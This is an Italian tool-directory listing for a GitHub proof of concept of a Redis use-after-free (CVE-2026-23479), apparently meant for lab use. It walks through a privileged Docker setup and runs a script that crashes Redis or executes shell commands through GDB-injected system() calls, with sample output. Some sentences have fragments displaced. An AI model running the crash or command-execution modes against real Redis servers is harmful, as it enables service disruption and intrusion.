Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Prova di concetto con sfruttamento di vulnerabilità assistito da GDB (solo uso educativo / di laboratorio) | Kitploit
Strumenti/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Analisi delle VulnerabilitàExploitDebuggerApprendimento e FormazioneSicurezza dei DatabaseBinary ExploitationLab e Pratica
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Prova di concetto con sfruttamento di vulnerabilità assistito da GDB (solo uso educativo / di laboratorio)

Vedi Repository
81 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🔥 CVE-2026-23479 – Redis UAF Prova di concetto

License Python Docker CVE PoC

Use-After-Free in Redis unblockClientOnKey() che porta all'esecuzione remota di codice
Prova di concetto con sfruttamento assistito da GDB (solo uso didattico / di laboratorio)


📖 Panoramica

CVE-2026-23479 è una vulnerabilità critica Use‑After‑Free (UAF) nelle versioni di Redis dalla 7.2.0 alla 8.6.2.
Il bug risiede in unblockClientOnKey(), che chiama . Se il client viene liberato durante quella chiamata (ad es. a causa di un'eviction), il chiamante continua a operare su un puntatore dangling → . Un attaccante in grado di modellare l'heap dopo la liberazione può ottenere .

processCommandAndResetClient()
senza controllare il valore di ritorno

UAF

l'esecuzione arbitraria di codice

Questo repository fornisce una PoC assistita da GDB che:

  • Attiva l'esatto percorso di codice vulnerabile
  • Dimostra la UAF causando deliberatamente un crash (chiamata a freeClient())
  • Dimostra l'esecuzione arbitraria di comandi iniettando una chiamata a system() nello stesso punto

⚠️ Importante: questa non è un exploit weaponizzato. Utilizza GDB all'interno di un container Docker privilegiato per simulare ciò che un vero attaccante potrebbe ottenere dopo aver sfruttato con successo la UAF.
Usalo solo nel tuo laboratorio o su sistemi per i quali hai l'esplicita autorizzazione a testare.


✨ Caratteristiche

  • 🧪 Quattro modalità operative – crash, gdb, rce, full
  • 🐳 Basato su Docker – nessuna necessità di installare una Redis vulnerabile sull'host
  • 🔍 Rilevamento automatico della versione – verifica se il target rientra nell'intervallo interessato
  • 🧹 Auto-pulizia – termina le sessioni GDB stale prima di ogni esecuzione
  • 🎯 Nome container flessibile – passa qualsiasi container tramite --container
  • 📦 Singolo file Python – zero dipendenze oltre la libreria standard

🧠 Come funziona

  1. Blocca una vittima – un comando XREAD BLOCK fa sì che il client attenda dati dallo stream.
  2. Aggancia GDB – GDB si aggancia al processo Redis (pid 1) all'interno del container.
  3. Imposta un breakpoint su processCommandAndResetClient – la funzione chiamata quando il client bloccato viene riprocessato.
  4. Attiva lo sblocco – un XADD sullo stesso stream risveglia la vittima.
  5. Quando il breakpoint viene raggiunto:
    • Modalità gdb: chiama freeClient($rdi) → causa deliberatamente un SIGSEGV → dimostra la UAF.
    • Modalità rce: chiama system("your command") → esegue comandi shell arbitrari come utente Redis (root di default).
  6. Verifica – lo script controlla se il file di prova atteso esiste (RCE) o se Redis è andato in crash (UAF).

Il breakpoint scatta ogni volta che un client bloccato viene sbloccato, dimostrando che lo stesso percorso di codice che contiene la UAF consente anche l'esecuzione di codice.


📋 Versioni interessate

BranchIntervallo vulnerabile
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

Lo script analizza automaticamente la versione di Redis e segnala se è vulnerabile.


🐳 Prerequisiti

  • Docker installato e in esecuzione
  • Python 3.8+ (viene usata solo la stdlib)
  • Un'immagine Docker di Redis 8.6.2 che usa apt (ad es. la redis:8.6.2 ufficiale)
  • Il container deve essere creato con --privileged (richiesto per ptrace)

⚙️ Configurazione

1. Clona il repository

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Avvia un container Redis vulnerabile

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Installa GDB all'interno del container

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verifica

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Utilizzo

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modalità

ModalitàDescrizione
crashTenta di innescare la UAF tramite pressione sulla memoria (nessun GDB richiesto). Redis potrebbe andare in crash, ma non è garantito.
gdbAggancia GDB e chiama freeClient() al breakpoint → forza un SIGSEGV (dimostra la UAF).
rceAggancia GDB e chiama system(cmd) al breakpoint → esegue un comando shell all'interno del container.
fullEsegue prima crash; se Redis non va in crash, ripiega su gdb.

Opzioni

ArgomentoPredefinitoDescrizione
target(obbligatorio)Indirizzo IP del server Redis
-p, --port6379Porta Redis
-m, --modefullUna tra crash, gdb, rce, full
--containerenv-redis-vuln-1Nome del container Docker
--cmdid > /tmp/pwned_by_cveComando da eseguire in modalità rce

📚 Esempi passo-passo

Nota: tutti i comandi vengono eseguiti dalla macchina host, non all'interno del container Docker.

1. Dimostra la UAF tramite GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Output atteso (estratto)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis andrà in crash dopo il segmentation fault.

Riavvia il container:

root@kitploit:~
docker start redis-vuln-local

2. Ottieni l'esecuzione remota di codice (RCE)

Riavvia Redis per garantire uno stato pulito:

root@kitploit:~
docker restart redis-vuln-local

Esegui l'exploit:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verifica il file di prova:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

Se l'operazione riesce, il file esisterà, dimostrando che:

root@kitploit:~
system("touch /tmp/pwned");

è stato eseguito all'interno del container Redis.


3. Innesca la UAF senza GDB (pressione sulla memoria)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Se Redis termina in modo inaspettato (il container non è più in esecuzione), probabilmente la UAF è stata innescata.

Riavvia con:

root@kitploit:~
docker start redis-vuln-local

4. Esegui il test completo

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Questa modalità:

  1. Tenta il crash tramite pressione sulla memoria.
  2. Ripiega sul metodo assistito da GDB se Redis sopravvive.

📸 Output di esempio (modalità RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Modifiche rispetto allo script originale

La PoC originale era hardcoded per un container chiamato env-redis-vuln-1 e conteneva diversi problemi se eseguita con versioni più recenti di Python.

La versione aggiornata introduce i seguenti miglioramenti:

ProblemaCorrezione
Nome container hardcodedAggiunto l'argomento --container e propagato attraverso tutte le funzioni.
Comando file inserito all'interno del blocco commands nello script GDBSpostato file /usr/local/bin/redis-server prima di attach così GDB carica correttamente i simboli.
subprocess.run() utilizzato sia con capture_output=True che con stderr=...Sostituito con stdout=subprocess.DEVNULL e stderr=subprocess.DEVNULL.
Processi GDB stale che causano ptrace: Operation not permittedAggiunto pkill -9 gdb prima di avviare GDB sia in trigger_uaf_gdb() che in trigger_rce().
Nessun feedback quando GDB falliva silenziosamenteAggiunto logging di debug per l'output di GDB e migliorato il rilevamento del file di prova.

🧹 Pulizia

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza autorizzata e test di sistemi di tua proprietà o per i quali hai esplicita autorizzazione a valutare.

L'autore non approva né incoraggia l'uso non autorizzato o dannoso.

Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema in produzione o di terze parti.


📚 Riferimenti

  • CVE-2026-23479 – Dettagli NVD
  • Sicurezza Redis
  • Repository GitHub di Redis

Realizzato con ❤️ per la community della sicurezza.

Rimani etico. Rimani al sicuro.

Scarica lo strumento